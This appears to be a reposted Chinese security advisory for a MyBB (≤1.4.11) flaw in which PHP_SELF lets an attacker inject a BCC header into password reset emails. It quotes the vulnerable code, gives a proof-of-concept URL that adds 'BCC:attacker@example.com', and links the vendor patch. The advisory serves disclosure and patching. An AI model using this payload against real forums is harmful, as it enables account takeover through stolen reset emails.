MyBB set_common_header()邮件BCC头注入漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2010-05-10

影响版本:
MyBB <= 1.4.11

漏洞描述:
BUGTRAQ  ID: 39400

MyBB是一款流行的Web论坛程序。

MyBB的口令重置实现中存在邮件注入漏洞,远程攻击者可以通过简单的URL控制就可以向BCC:邮件头中注入代码,将保密的口令重置邮件发送到BCC: 头所指向的邮箱。

在MailHandler类的set_common_header()方式中,以下代码负责向所有发出的邮件(包括口令重置邮件)中添加一些常用的头:

     $this->headers .= "Message-ID: <{$msg_id}>{$this->delimiter}";
     $this->headers .= "Content-Transfer-Encoding: 8bit{$this->delimiter}";
     $this->headers .= "X-Priority: 3{$this->delimiter}";
     $this->headers .= "X-MSMail-Priority: Normal{$this->delimiter}";
     $this->headers .= "X-Mailer: MyBB{$this->delimiter}";
     if(defined("IN_ADMINCP"))
     {
         ...
     }
     $this->headers .= "X-MyBB-Script:
{$http_host}{$_SERVER['PHP_SELF']}{$this->delimiter}";
     $this->headers .= "MIME-Version: 1.0{$this->delimiter}";
   
上述代码向邮件中所添加的X-MyBB-Script头中包含有$_SERVER['PHP_SELF']变量的内容。PHP_SELF不但包含有文档根目录相关的路径,还包括有Apache PATH_INFO等扩展名,因此可以被恶意用户控制。通过调用以下MyBB PHP脚本:

     attacker@example.com%0ax:" target="_blank">http://example.com/MyBB/index.php/%0aBCC:attacker@example.com%0ax:
   
就可以向这个脚本所发送的所有邮件添加任意BCC头。

<*参考

Stefan Esser (s.esser@ematters.de)
http://secunia.com/advisories/39378/
http://marc.info/?l=bugtraq&m=127120955724879&w=2

*>

安全建议:
厂商补丁:

MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://blog.mybboard.net/2010/04/13/mybb-1-4-12-released-security-maintenance-update/